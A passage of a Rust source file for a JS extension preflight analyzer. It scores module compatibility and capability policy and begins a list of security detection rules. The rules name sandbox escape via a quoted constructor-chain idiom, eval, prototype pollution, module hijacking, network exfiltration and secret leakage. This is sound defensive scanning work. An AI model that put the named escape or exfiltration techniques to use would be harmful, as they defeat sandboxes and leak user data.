Skip to main content

pi/
extension_preflight.rs

1// Extension compatibility preflight analyzer (bd-k5q5.3.11)
2//
3// Checks an extension's source before loading to predict whether it will
4// work in the Pi JS runtime. Combines:
5//   - Module import scanning against known shim support levels
6//   - Capability requirement detection vs current policy
7//   - Forbidden/flagged pattern detection
8//   - Actionable remediation suggestions
9//
10// Produces a structured `PreflightReport` with per-finding severity,
11// an overall verdict (Pass / Warn / Fail), and human-readable remediation.
12
13use std::collections::BTreeMap;
14use std::fmt::{self, Write};
15use std::path::Path;
16
17use serde::{Deserialize, Serialize};
18
19use crate::extensions::{CompatibilityScanner, ExtensionPolicy, PolicyDecision};
20
21// ============================================================================
22// Module support level
23// ============================================================================
24
25/// How well the Pi JS runtime supports a given module.
26#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
27#[serde(rename_all = "snake_case")]
28pub enum ModuleSupport {
29    /// Fully implemented with real behaviour.
30    Real,
31    /// Partially implemented — some APIs are stubs or missing.
32    Partial,
33    /// Exists as a stub (loads without error but does nothing useful).
34    Stub,
35    /// Module resolves but throws on import (e.g. `node:tls`).
36    ErrorThrow,
37    /// Module is completely missing — import will fail at load time.
38    Missing,
39}
40
41impl ModuleSupport {
42    /// Severity of this support level for preflight purposes.
43    #[must_use]
44    pub const fn severity(self) -> FindingSeverity {
45        match self {
46            Self::Real => FindingSeverity::Info,
47            Self::Partial | Self::Stub => FindingSeverity::Warning,
48            Self::ErrorThrow | Self::Missing => FindingSeverity::Error,
49        }
50    }
51
52    /// Human-readable label.
53    #[must_use]
54    pub const fn label(self) -> &'static str {
55        match self {
56            Self::Real => "fully supported",
57            Self::Partial => "partially supported",
58            Self::Stub => "stub only",
59            Self::ErrorThrow => "throws on import",
60            Self::Missing => "not available",
61        }
62    }
63}
64
65impl fmt::Display for ModuleSupport {
66    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
67        f.write_str(self.label())
68    }
69}
70
71// ============================================================================
72// Finding severity and categories
73// ============================================================================
74
75/// Severity level for a preflight finding.
76#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize, Deserialize)]
77#[serde(rename_all = "snake_case")]
78pub enum FindingSeverity {
79    /// Informational — no action required.
80    Info,
81    /// Warning — may affect functionality but extension can still load.
82    Warning,
83    /// Error — likely to cause load or runtime failure.
84    Error,
85}
86
87impl fmt::Display for FindingSeverity {
88    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
89        match self {
90            Self::Info => f.write_str("info"),
91            Self::Warning => f.write_str("warning"),
92            Self::Error => f.write_str("error"),
93        }
94    }
95}
96
97/// Category of a preflight finding.
98#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
99#[serde(rename_all = "snake_case")]
100pub enum FindingCategory {
101    /// Input or scan failure prevented a trustworthy analysis.
102    AnalysisInput,
103    /// Module import compatibility.
104    ModuleCompat,
105    /// Capability policy decision.
106    CapabilityPolicy,
107    /// Forbidden pattern detected.
108    ForbiddenPattern,
109    /// Flagged pattern detected.
110    FlaggedPattern,
111}
112
113impl fmt::Display for FindingCategory {
114    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
115        match self {
116            Self::AnalysisInput => f.write_str("analysis_input"),
117            Self::ModuleCompat => f.write_str("module_compat"),
118            Self::CapabilityPolicy => f.write_str("capability_policy"),
119            Self::ForbiddenPattern => f.write_str("forbidden_pattern"),
120            Self::FlaggedPattern => f.write_str("flagged_pattern"),
121        }
122    }
123}
124
125// ============================================================================
126// Preflight finding
127// ============================================================================
128
129/// A single finding from preflight analysis.
130#[derive(Debug, Clone, Serialize, Deserialize)]
131pub struct PreflightFinding {
132    pub severity: FindingSeverity,
133    pub category: FindingCategory,
134    /// Short summary of the issue.
135    pub message: String,
136    /// Actionable remediation suggestion (if any).
137    #[serde(default, skip_serializing_if = "Option::is_none")]
138    pub remediation: Option<String>,
139    /// Optional file/line evidence.
140    #[serde(default, skip_serializing_if = "Option::is_none")]
141    pub file: Option<String>,
142    #[serde(default, skip_serializing_if = "Option::is_none")]
143    pub line: Option<usize>,
144}
145
146// ============================================================================
147// Preflight verdict
148// ============================================================================
149
150/// Overall verdict from preflight analysis.
151#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
152#[serde(rename_all = "snake_case")]
153pub enum PreflightVerdict {
154    /// Extension is expected to work without issues.
155    Pass,
156    /// Extension may work but some features could be degraded.
157    Warn,
158    /// Extension is likely to fail at load or runtime.
159    Fail,
160}
161
162impl fmt::Display for PreflightVerdict {
163    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
164        match self {
165            Self::Pass => f.write_str("PASS"),
166            Self::Warn => f.write_str("WARN"),
167            Self::Fail => f.write_str("FAIL"),
168        }
169    }
170}
171
172// ============================================================================
173// Preflight report
174// ============================================================================
175
176/// Complete preflight analysis report for an extension.
177#[derive(Debug, Clone, Serialize, Deserialize)]
178pub struct PreflightReport {
179    pub schema: String,
180    pub extension_id: String,
181    pub verdict: PreflightVerdict,
182    pub confidence: ConfidenceScore,
183    pub risk_banner: String,
184    pub findings: Vec<PreflightFinding>,
185    pub summary: PreflightSummary,
186}
187
188/// Compatibility confidence score (0..=100).
189///
190/// Computed from the severity distribution of findings:
191/// - Each error deducts 25 points (capped at 100)
192/// - Each warning deducts 10 points (capped at remaining score)
193/// - Score is clamped to [0, 100]
194#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
195pub struct ConfidenceScore(pub u8);
196
197impl ConfidenceScore {
198    /// Compute from error/warning counts.
199    #[must_use]
200    pub fn from_counts(errors: usize, warnings: usize) -> Self {
201        let penalty = errors
202            .saturating_mul(25)
203            .saturating_add(warnings.saturating_mul(10));
204        let score = 100_usize.saturating_sub(penalty);
205        Self(u8::try_from(score.min(100)).unwrap_or(0))
206    }
207
208    /// Score value 0..=100.
209    #[must_use]
210    pub const fn value(self) -> u8 {
211        self.0
212    }
213
214    /// Human-readable confidence label.
215    #[must_use]
216    pub const fn label(self) -> &'static str {
217        match self.0 {
218            90..=100 => "High",
219            60..=89 => "Medium",
220            30..=59 => "Low",
221            _ => "Very Low",
222        }
223    }
224}
225
226impl fmt::Display for ConfidenceScore {
227    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
228        write!(f, "{}% ({})", self.0, self.label())
229    }
230}
231
232/// Counts by severity.
233#[derive(Debug, Clone, Default, Serialize, Deserialize)]
234pub struct PreflightSummary {
235    pub errors: usize,
236    pub warnings: usize,
237    pub info: usize,
238}
239
240pub const PREFLIGHT_SCHEMA: &str = "pi.ext.preflight.v1";
241
242impl PreflightReport {
243    /// Create from findings.
244    #[must_use]
245    pub fn from_findings(extension_id: String, findings: Vec<PreflightFinding>) -> Self {
246        let mut summary = PreflightSummary::default();
247        for f in &findings {
248            match f.severity {
249                FindingSeverity::Error => summary.errors += 1,
250                FindingSeverity::Warning => summary.warnings += 1,
251                FindingSeverity::Info => summary.info += 1,
252            }
253        }
254
255        let verdict = if summary.errors > 0 {
256            PreflightVerdict::Fail
257        } else if summary.warnings > 0 {
258            PreflightVerdict::Warn
259        } else {
260            PreflightVerdict::Pass
261        };
262
263        let confidence = ConfidenceScore::from_counts(summary.errors, summary.warnings);
264        let risk_banner = risk_banner_text(verdict, confidence, &summary);
265
266        Self {
267            schema: PREFLIGHT_SCHEMA.to_string(),
268            extension_id,
269            verdict,
270            confidence,
271            risk_banner,
272            findings,
273            summary,
274        }
275    }
276
277    /// Render a human-readable markdown report.
278    #[must_use]
279    pub fn render_markdown(&self) -> String {
280        let mut out = String::new();
281        let _ = write!(
282            out,
283            "# Preflight Report: {}\n\n**Verdict**: {} | **Confidence**: {}\n\n",
284            self.extension_id, self.verdict, self.confidence
285        );
286        let _ = writeln!(out, "> {}\n", self.risk_banner);
287        let _ = write!(
288            out,
289            "| Errors | Warnings | Info |\n|--------|----------|------|\n| {} | {} | {} |\n\n",
290            self.summary.errors, self.summary.warnings, self.summary.info
291        );
292
293        if self.findings.is_empty() {
294            out.push_str("No issues found. Extension is expected to work.\n");
295            return out;
296        }
297
298        out.push_str("## Findings\n\n");
299        for (i, f) in self.findings.iter().enumerate() {
300            let icon = match f.severity {
301                FindingSeverity::Error => "x",
302                FindingSeverity::Warning => "!",
303                FindingSeverity::Info => "i",
304            };
305            let _ = writeln!(
306                out,
307                "{}. [{}] **{}**: {}",
308                i + 1,
309                icon,
310                f.category,
311                f.message
312            );
313            if let Some(loc) = &f.file {
314                if let Some(line) = f.line {
315                    let _ = writeln!(out, "   Location: {loc}:{line}");
316                } else {
317                    let _ = writeln!(out, "   Location: {loc}");
318                }
319            }
320            if let Some(rem) = &f.remediation {
321                let _ = writeln!(out, "   Remediation: {rem}");
322            }
323            out.push('\n');
324        }
325
326        out
327    }
328
329    /// Serialize to JSON.
330    ///
331    /// # Errors
332    ///
333    /// Returns an error if serialization fails.
334    pub fn to_json(&self) -> Result<String, serde_json::Error> {
335        serde_json::to_string_pretty(self)
336    }
337}
338
339// ============================================================================
340// Known module support registry
341// ============================================================================
342
343/// Returns the known support level for a module specifier, or `None` if the
344/// module is not in our registry (likely a relative import or external npm).
345#[must_use]
346#[allow(clippy::match_same_arms)]
347pub fn known_module_support(specifier: &str) -> Option<ModuleSupport> {
348    let normalized = specifier.strip_prefix("node:").unwrap_or(specifier);
349
350    // Match on the root module name (before any slash sub-path).
351    let module_root = normalized.split('/').next().unwrap_or(normalized);
352
353    match module_root {
354        // P0 — fully implemented
355        "path" | "os" => Some(ModuleSupport::Real),
356        "fs" => {
357            // node:fs is real, node:fs/promises is partial
358            if normalized == "fs/promises" {
359                Some(ModuleSupport::Partial)
360            } else {
361                Some(ModuleSupport::Real)
362            }
363        }
364        "child_process" => Some(ModuleSupport::Real),
365
366        // P1 — real
367        "url" | "util" | "events" | "stream" | "buffer" | "querystring" | "string_decoder"
368        | "timers" => Some(ModuleSupport::Real),
369
370        // P1 — partial
371        "crypto" => Some(ModuleSupport::Partial),
372        "readline" | "test" => Some(ModuleSupport::Partial),
373        "http" | "https" => Some(ModuleSupport::Partial),
374
375        // P2 — stubs
376        "zlib"
377        | "tty"
378        | "assert"
379        | "http2"
380        | "net"
381        | "vm"
382        | "v8"
383        | "perf_hooks"
384        | "worker_threads"
385        | "diagnostics_channel"
386        | "async_hooks" => Some(ModuleSupport::Stub),
387
388        // P3 — error throw
389        "dgram" | "dns" | "tls" | "cluster" => Some(ModuleSupport::ErrorThrow),
390
391        // Known npm packages with real shims
392        "@sinclair/typebox" | "zod" => Some(ModuleSupport::Real),
393
394        // Known npm packages with partial shims
395        "glob" => Some(ModuleSupport::Partial),
396
397        // Known npm packages with stubs
398        "chokidar" | "jsdom" | "turndown" | "beautiful-mermaid" | "node-pty" | "ws" | "axios" => {
399            Some(ModuleSupport::Stub)
400        }
401
402        // @modelcontextprotocol
403        "@modelcontextprotocol" => Some(ModuleSupport::Stub),
404
405        // @mariozechner packages
406        "@mariozechner" => Some(ModuleSupport::Partial),
407
408        // @opentelemetry
409        "@opentelemetry" => Some(ModuleSupport::Stub),
410
411        _ => None,
412    }
413}
414
415/// Remediation suggestion for a module at a given support level.
416#[must_use]
417pub fn module_remediation(specifier: &str, support: ModuleSupport) -> Option<String> {
418    let normalized = specifier.strip_prefix("node:").unwrap_or(specifier);
419    let module_root = normalized.split('/').next().unwrap_or(normalized);
420
421    match (module_root, support) {
422        (_, ModuleSupport::Real) => None,
423        ("fs", ModuleSupport::Partial) => Some(
424            "fs/promises has partial coverage. Use synchronous fs APIs (existsSync, readFileSync, writeFileSync) for best compatibility.".to_string()
425        ),
426        ("crypto", ModuleSupport::Partial) => Some(
427            "Only createHash, randomBytes, and randomUUID are available. For other crypto ops, consider using the Web Crypto API.".to_string()
428        ),
429        ("readline", ModuleSupport::Partial | ModuleSupport::Stub) => Some(
430            "Readline uses pi.ui('input') when UI is available; otherwise prompts return empty strings. readline/promises mirrors this behavior.".to_string()
431        ),
432        ("test", ModuleSupport::Partial) => Some(
433            "node:test includes a minimal runner (test/describe/it + hooks + run). Reporters, snapshots, and concurrency controls are not supported.".to_string()
434        ),
435        ("http" | "https", ModuleSupport::Partial) => Some(
436            "HTTP client functionality is available via fetch(). HTTP server functionality is not supported.".to_string()
437        ),
438        ("http2", ModuleSupport::Stub) => Some(
439            "node:http2 is stubbed; use fetch() for client requests instead.".to_string()
440        ),
441        ("net", ModuleSupport::Stub | ModuleSupport::Partial) => Some(
442            "Raw TCP sockets are stubbed (no network I/O). Use fetch() for HTTP or the pi.http hostcall for network requests.".to_string()
443        ),
444        ("tls", ModuleSupport::ErrorThrow) => Some(
445            "TLS sockets are not available. Use fetch() with HTTPS URLs instead.".to_string()
446        ),
447        ("dns", ModuleSupport::ErrorThrow) => Some(
448            "DNS resolution is not available. Use fetch() which handles DNS internally.".to_string()
449        ),
450        ("dgram" | "cluster", ModuleSupport::ErrorThrow) => Some(
451            format!("The `{module_root}` module is not supported in the extension runtime.")
452        ),
453        ("chokidar", _) => Some(
454            "File watching is not supported. Consider polling with fs.existsSync or using event hooks instead.".to_string()
455        ),
456        ("jsdom", _) => Some(
457            "DOM parsing is not available. Consider extracting text content without DOM manipulation.".to_string()
458        ),
459        ("ws", _) => Some(
460            "WebSocket support is not available. Use fetch() for HTTP-based communication.".to_string()
461        ),
462        ("node-pty", _) => Some(
463            "PTY support is not available. Use pi.exec() hostcall for command execution.".to_string()
464        ),
465        (_, ModuleSupport::Missing) => Some(
466            format!("Module `{normalized}` is not available. Check if there is an alternative API in the pi extension SDK.")
467        ),
468        (_, ModuleSupport::Stub) => Some(
469            format!("Module `{normalized}` is a stub — it loads without error but provides no real functionality.")
470        ),
471        _ => None,
472    }
473}
474
475// ============================================================================
476// Preflight analyzer
477// ============================================================================
478
479/// Analyzes an extension for compatibility before loading.
480pub struct PreflightAnalyzer<'a> {
481    policy: &'a ExtensionPolicy,
482    extension_id: Option<&'a str>,
483}
484
485impl<'a> PreflightAnalyzer<'a> {
486    /// Create a new preflight analyzer with the given policy context.
487    #[must_use]
488    pub const fn new(policy: &'a ExtensionPolicy, extension_id: Option<&'a str>) -> Self {
489        Self {
490            policy,
491            extension_id,
492        }
493    }
494
495    /// Run preflight analysis on an extension at the given path.
496    ///
497    /// The path can be a single file or a directory containing extension source.
498    pub fn analyze(&self, path: &Path) -> PreflightReport {
499        let ext_id = self
500            .extension_id
501            .map(str::to_string)
502            .or_else(|| {
503                path.file_name()
504                    .and_then(|name| name.to_str())
505                    .map(str::to_string)
506            })
507            .unwrap_or_else(|| "unknown".to_string());
508
509        if !path.exists() {
510            return PreflightReport::from_findings(
511                ext_id,
512                vec![PreflightFinding {
513                    severity: FindingSeverity::Error,
514                    category: FindingCategory::AnalysisInput,
515                    message: format!("Extension path does not exist: {}", path.display()),
516                    remediation: Some(
517                        "Verify the extension path exists and points to a readable file or directory."
518                            .to_string(),
519                    ),
520                    file: Some(path.display().to_string()),
521                    line: None,
522                }],
523            );
524        }
525
526        let scanner = CompatibilityScanner::new(path.to_path_buf());
527        let ledger = match scanner.scan_path(path) {
528            Ok(ledger) => ledger,
529            Err(err) => {
530                return PreflightReport::from_findings(
531                    ext_id,
532                    vec![PreflightFinding {
533                        severity: FindingSeverity::Error,
534                        category: FindingCategory::AnalysisInput,
535                        message: format!(
536                            "Failed to scan extension source at {}: {err}",
537                            path.display()
538                        ),
539                        remediation: Some(
540                            "Verify the extension files are readable and retry the preflight check."
541                                .to_string(),
542                        ),
543                        file: Some(path.display().to_string()),
544                        line: None,
545                    }],
546                );
547            }
548        };
549
550        let mut findings = Vec::new();
551
552        // 1. Check module imports for compatibility
553        Self::check_module_findings(&ledger, &mut findings);
554
555        // 2. Check capability requirements against policy
556        self.check_capability_findings(&ledger, &mut findings);
557
558        // 3. Check forbidden patterns
559        Self::check_forbidden_findings(&ledger, &mut findings);
560
561        // 4. Check flagged patterns
562        Self::check_flagged_findings(&ledger, &mut findings);
563
564        // Sort: errors first, then warnings, then info
565        findings.sort_by_key(|finding| std::cmp::Reverse(finding.severity));
566
567        PreflightReport::from_findings(ext_id, findings)
568    }
569
570    /// Analyze from raw source text (for testing or when path isn't available).
571    #[must_use]
572    pub fn analyze_source(&self, extension_id: &str, source: &str) -> PreflightReport {
573        let mut findings = Vec::new();
574
575        // Extract import specifiers from source
576        let mut module_imports: BTreeMap<String, Vec<usize>> = BTreeMap::new();
577        for (idx, line) in source.lines().enumerate() {
578            let line_no = idx + 1;
579            for specifier in extract_import_specifiers_simple(line) {
580                module_imports.entry(specifier).or_default().push(line_no);
581            }
582        }
583
584        // Check each imported module
585        for (specifier, lines) in &module_imports {
586            if let Some(support) = known_module_support(specifier) {
587                let severity = support.severity();
588                if severity > FindingSeverity::Info {
589                    let remediation = module_remediation(specifier, support);
590                    findings.push(PreflightFinding {
591                        severity,
592                        category: FindingCategory::ModuleCompat,
593                        message: format!("Module `{specifier}` is {support}"),
594                        remediation,
595                        file: None,
596                        line: lines.first().copied(),
597                    });
598                }
599            }
600        }
601
602        // Check for capability patterns
603        let mut caps_seen: BTreeMap<String, usize> = BTreeMap::new();
604        for (idx, line) in source.lines().enumerate() {
605            let line_no = idx + 1;
606            if line.contains("process.env") && !caps_seen.contains_key("env") {
607                caps_seen.insert("env".to_string(), line_no);
608            }
609            if (line.contains("pi.exec") || line.contains("child_process"))
610                && !caps_seen.contains_key("exec")
611            {
612                caps_seen.insert("exec".to_string(), line_no);
613            }
614        }
615
616        for (cap, line_no) in &caps_seen {
617            let check = self.policy.evaluate_for(cap, self.extension_id);
618            match check.decision {
619                PolicyDecision::Deny => {
620                    findings.push(PreflightFinding {
621                        severity: FindingSeverity::Error,
622                        category: FindingCategory::CapabilityPolicy,
623                        message: format!(
624                            "Capability `{cap}` is denied by policy (reason: {})",
625                            check.reason
626                        ),
627                        remediation: Some(capability_remediation(cap)),
628                        file: None,
629                        line: Some(*line_no),
630                    });
631                }
632                PolicyDecision::Prompt => {
633                    findings.push(PreflightFinding {
634                        severity: FindingSeverity::Warning,
635                        category: FindingCategory::CapabilityPolicy,
636                        message: format!(
637                            "Capability `{cap}` will require user confirmation"
638                        ),
639                        remediation: Some(format!(
640                            "To allow without prompting, add `{cap}` to default_caps in your extension policy config."
641                        )),
642                        file: None,
643                        line: Some(*line_no),
644                    });
645                }
646                PolicyDecision::Allow => {}
647            }
648        }
649
650        // Sort: errors first, then warnings, then info
651        findings.sort_by_key(|finding| std::cmp::Reverse(finding.severity));
652
653        PreflightReport::from_findings(extension_id.to_string(), findings)
654    }
655
656    fn check_module_findings(
657        ledger: &crate::extensions::CompatLedger,
658        findings: &mut Vec<PreflightFinding>,
659    ) {
660        // Collect unique module specifiers from rewrites and flagged imports
661        let mut seen_modules: BTreeMap<String, Option<(String, usize)>> = BTreeMap::new();
662
663        // From rewrites — these are imports that have rewrite rules
664        for rw in &ledger.rewrites {
665            seen_modules
666                .entry(rw.from.clone())
667                .or_insert_with(|| rw.evidence.first().map(|e| (e.file.clone(), e.line)));
668        }
669
670        // From flagged unsupported imports
671        for fl in &ledger.flagged {
672            if fl.rule == "unsupported_import" {
673                // Extract the module specifier from the message
674                if let Some(spec) = extract_specifier_from_message(&fl.message) {
675                    seen_modules
676                        .entry(spec)
677                        .or_insert_with(|| fl.evidence.first().map(|e| (e.file.clone(), e.line)));
678                }
679            }
680        }
681
682        for (specifier, loc) in &seen_modules {
683            if let Some(support) = known_module_support(specifier) {
684                let severity = support.severity();
685                if severity > FindingSeverity::Info {
686                    let remediation = module_remediation(specifier, support);
687                    let (file, line) = loc
688                        .as_ref()
689                        .map_or((None, None), |(f, l)| (Some(f.clone()), Some(*l)));
690                    findings.push(PreflightFinding {
691                        severity,
692                        category: FindingCategory::ModuleCompat,
693                        message: format!("Module `{specifier}` is {support}"),
694                        remediation,
695                        file,
696                        line,
697                    });
698                }
699            }
700        }
701    }
702
703    fn check_capability_findings(
704        &self,
705        ledger: &crate::extensions::CompatLedger,
706        findings: &mut Vec<PreflightFinding>,
707    ) {
708        // Deduplicate by capability name
709        let mut seen: BTreeMap<String, (String, usize)> = BTreeMap::new();
710
711        for cap_ev in &ledger.capabilities {
712            if !seen.contains_key(&cap_ev.capability) {
713                let loc = cap_ev
714                    .evidence
715                    .first()
716                    .map(|e| (e.file.clone(), e.line))
717                    .unwrap_or_default();
718                seen.insert(cap_ev.capability.clone(), loc);
719            }
720        }
721
722        for (cap, (file, line)) in &seen {
723            let check = self.policy.evaluate_for(cap, self.extension_id);
724            let file = (!file.is_empty()).then(|| file.clone());
725            let line = (*line > 0).then_some(*line);
726            match check.decision {
727                PolicyDecision::Deny => {
728                    findings.push(PreflightFinding {
729                        severity: FindingSeverity::Error,
730                        category: FindingCategory::CapabilityPolicy,
731                        message: format!(
732                            "Capability `{cap}` is denied by policy (reason: {})",
733                            check.reason
734                        ),
735                        remediation: Some(capability_remediation(cap)),
736                        file,
737                        line,
738                    });
739                }
740                PolicyDecision::Prompt => {
741                    findings.push(PreflightFinding {
742                        severity: FindingSeverity::Warning,
743                        category: FindingCategory::CapabilityPolicy,
744                        message: format!(
745                            "Capability `{cap}` will require user confirmation"
746                        ),
747                        remediation: Some(format!(
748                            "To allow without prompting, add `{cap}` to default_caps in your extension policy config."
749                        )),
750                        file,
751                        line,
752                    });
753                }
754                PolicyDecision::Allow => {}
755            }
756        }
757    }
758
759    fn check_forbidden_findings(
760        ledger: &crate::extensions::CompatLedger,
761        findings: &mut Vec<PreflightFinding>,
762    ) {
763        for fb in &ledger.forbidden {
764            let loc = fb.evidence.first();
765            findings.push(PreflightFinding {
766                severity: FindingSeverity::Error,
767                category: FindingCategory::ForbiddenPattern,
768                message: fb.message.clone(),
769                remediation: fb.remediation.clone(),
770                file: loc.map(|e| e.file.clone()),
771                line: loc.map(|e| e.line),
772            });
773        }
774    }
775
776    fn check_flagged_findings(
777        ledger: &crate::extensions::CompatLedger,
778        findings: &mut Vec<PreflightFinding>,
779    ) {
780        for fl in &ledger.flagged {
781            // Skip unsupported_import — handled in check_module_findings
782            if fl.rule == "unsupported_import" {
783                continue;
784            }
785            let loc = fl.evidence.first();
786            findings.push(PreflightFinding {
787                severity: FindingSeverity::Warning,
788                category: FindingCategory::FlaggedPattern,
789                message: fl.message.clone(),
790                remediation: fl.remediation.clone(),
791                file: loc.map(|e| e.file.clone()),
792                line: loc.map(|e| e.line),
793            });
794        }
795    }
796}
797
798// ============================================================================
799// Helpers
800// ============================================================================
801
802/// Generate a one-line risk banner for user-facing display.
803fn risk_banner_text(
804    verdict: PreflightVerdict,
805    confidence: ConfidenceScore,
806    summary: &PreflightSummary,
807) -> String {
808    match verdict {
809        PreflightVerdict::Pass => format!("Extension is compatible (confidence: {confidence})"),
810        PreflightVerdict::Warn => format!(
811            "Extension may have issues: {} warning(s) (confidence: {confidence})",
812            summary.warnings
813        ),
814        PreflightVerdict::Fail => format!(
815            "Extension is likely incompatible: {} error(s), {} warning(s) (confidence: {confidence})",
816            summary.errors, summary.warnings
817        ),
818    }
819}
820
821/// Extract module specifier from a compat scanner message like
822/// "import of unsupported builtin `node:vm`".
823fn extract_specifier_from_message(msg: &str) -> Option<String> {
824    let start = msg.find('`')?;
825    let end = msg[start + 1..].find('`')?;
826    Some(msg[start + 1..start + 1 + end].to_string())
827}
828
829/// Simple import specifier extraction for source analysis.
830/// Handles: import ... from "spec", require("spec"), import("spec").
831fn extract_import_specifiers_simple(line: &str) -> Vec<String> {
832    let mut specs = Vec::new();
833    let trimmed = line.trim();
834
835    // import ... from "spec" / import ... from 'spec' / import "spec"
836    if trimmed.starts_with("import ") || trimmed.starts_with("export ") {
837        if let Some(from_idx) = trimmed.find(" from ") {
838            let rest = &trimmed[from_idx + 6..];
839            if let Some(spec) = extract_quoted_string(rest) {
840                if !spec.starts_with('.') && !spec.starts_with('/') {
841                    specs.push(spec);
842                }
843            }
844        } else if let Some(rest) = trimmed.strip_prefix("import ") {
845            // Check for side-effect import: import "spec"
846            if let Some(spec) = extract_quoted_string(rest) {
847                if !spec.starts_with('.') && !spec.starts_with('/') {
848                    specs.push(spec);
849                }
850            }
851        }
852    }
853
854    // require("spec") / require('spec')
855    let mut search = trimmed;
856    while let Some(req_idx) = search.find("require(") {
857        let rest = &search[req_idx + 8..];
858        if let Some(spec) = extract_quoted_string(rest) {
859            if !spec.starts_with('.') && !spec.starts_with('/') {
860                specs.push(spec);
861            }
862        }
863        search = &search[req_idx + 8..];
864    }
865
866    specs
867}
868
869/// Extract a single or double quoted string from the start of text.
870fn extract_quoted_string(text: &str) -> Option<String> {
871    let trimmed = text.trim();
872    let (quote, rest) = if let Some(rest) = trimmed.strip_prefix('"') {
873        ('"', rest)
874    } else if let Some(rest) = trimmed.strip_prefix('\'') {
875        ('\'', rest)
876    } else {
877        return None;
878    };
879
880    rest.find(quote).map(|end| rest[..end].to_string())
881}
882
883/// Remediation text for a denied capability.
884fn capability_remediation(cap: &str) -> String {
885    match cap {
886        "exec" => "To enable shell command execution, use `--allow-dangerous` CLI flag or set `allow_dangerous: true` in config. This grants access to exec and env capabilities.".to_string(),
887        "env" => "To enable environment variable access, use `--allow-dangerous` CLI flag or set `allow_dangerous: true` in config. Alternatively, add a per-extension override: `per_extension.\"<ext-id>\".allow = [\"env\"]`.".to_string(),
888        _ => format!("Add `{cap}` to `default_caps` in your extension policy configuration."),
889    }
890}
891
892// ============================================================================
893// Security Risk Classification (bd-21vng, SEC-2.3)
894// ============================================================================
895
896/// Schema version for security scan reports. Bump minor on new rules, major on
897/// breaking structural changes.
898pub const SECURITY_SCAN_SCHEMA: &str = "pi.ext.security_scan.v1";
899
900/// Stable rule identifiers. Each variant is a versioned detection rule whose
901/// semantics are frozen once shipped. Add new variants; never rename or
902/// redefine existing ones.
903#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
904pub enum SecurityRuleId {
905    // ---- Critical tier ----
906    /// Dynamic code execution via `eval()`.
907    #[serde(rename = "SEC-EVAL-001")]
908    EvalUsage,
909    /// Dynamic code execution via `new Function(...)`.
910    #[serde(rename = "SEC-FUNC-001")]
911    NewFunctionUsage,
912    /// Native module loading via `process.binding()`.
913    #[serde(rename = "SEC-BIND-001")]
914    ProcessBinding,
915    /// Native addon loading via `process.dlopen()`.
916    #[serde(rename = "SEC-DLOPEN-001")]
917    ProcessDlopen,
918    /// Prototype pollution via `__proto__` assignment.
919    #[serde(rename = "SEC-PROTO-001")]
920    ProtoPollution,
921    /// `require.cache` manipulation for module hijacking.
922    #[serde(rename = "SEC-RCACHE-001")]
923    RequireCacheManip,
924
925    // ---- High tier ----
926    /// Hardcoded secret or API key pattern.
927    #[serde(rename = "SEC-SECRET-001")]
928    HardcodedSecret,
929    /// Dynamic `import()` expression (runtime code loading).
930    #[serde(rename = "SEC-DIMPORT-001")]
931    DynamicImport,
932    /// `Object.defineProperty` on global or prototype objects.
933    #[serde(rename = "SEC-DEFPROP-001")]
934    DefinePropertyAbuse,
935    /// Network exfiltration pattern (fetch/XMLHttpRequest to constructed URL).
936    #[serde(rename = "SEC-EXFIL-001")]
937    NetworkExfiltration,
938    /// Writes to sensitive filesystem paths.
939    #[serde(rename = "SEC-FSSENS-001")]
940    SensitivePathWrite,
941
942    // ---- Medium tier ----
943    /// `process.env` access for reading environment variables.
944    #[serde(rename = "SEC-ENV-001")]
945    ProcessEnvAccess,
946    /// Timer abuse (very short-interval `setInterval`).
947    #[serde(rename = "SEC-TIMER-001")]
948    TimerAbuse,
949    /// `Proxy` / `Reflect` interception patterns.
950    #[serde(rename = "SEC-PROXY-001")]
951    ProxyReflect,
952    /// `with` statement usage (scope chain manipulation).
953    #[serde(rename = "SEC-WITH-001")]
954    WithStatement,
955
956    // ---- Low tier ----
957    /// `debugger` statement left in source.
958    #[serde(rename = "SEC-DEBUG-001")]
959    DebuggerStatement,
960    /// `console` usage that may leak information.
961    #[serde(rename = "SEC-CONSOLE-001")]
962    ConsoleInfoLeak,
963
964    // ---- Added in rulebook v2.0.0 ----
965
966    // Critical tier:
967    /// Command execution via `child_process.exec/spawn/execFile/fork`.
968    #[serde(rename = "SEC-SPAWN-001")]
969    ChildProcessSpawn,
970    /// Sandbox escape via `constructor.constructor('return this')()`.
971    #[serde(rename = "SEC-CONSTRUCTOR-001")]
972    ConstructorEscape,
973    /// Native addon require via `.node`/`.so`/`.dylib` file extension.
974    #[serde(rename = "SEC-NATIVEMOD-001")]
975    NativeModuleRequire,
976
977    // High tier:
978    /// `globalThis`/`global` property mutation (sandbox escape vector).
979    #[serde(rename = "SEC-GLOBAL-001")]
980    GlobalMutation,
981    /// Symlink/hard-link creation for path traversal.
982    #[serde(rename = "SEC-SYMLINK-001")]
983    SymlinkCreation,
984    /// `fs.chmod`/`fs.chown` permission elevation.
985    #[serde(rename = "SEC-CHMOD-001")]
986    PermissionChange,
987    /// `net.createServer`/`dgram.createSocket` unauthorized listeners.
988    #[serde(rename = "SEC-SOCKET-001")]
989    SocketListener,
990    /// `WebAssembly.instantiate`/`compile` sandbox bypass.
991    #[serde(rename = "SEC-WASM-001")]
992    WebAssemblyUsage,
993
994    // Medium tier:
995    /// `arguments.callee.caller` stack introspection.
996    #[serde(rename = "SEC-ARGUMENTS-001")]
997    ArgumentsCallerAccess,
998    /// Security scan input was missing or unreadable, preventing trustworthy analysis.
999    #[serde(rename = "SEC-SCAN-001")]
1000    ScanInputFailure,
1001}
1002
1003impl SecurityRuleId {
1004    /// Short human-readable name for this rule.
1005    #[must_use]
1006    pub const fn name(self) -> &'static str {
1007        match self {
1008            Self::EvalUsage => "eval-usage",
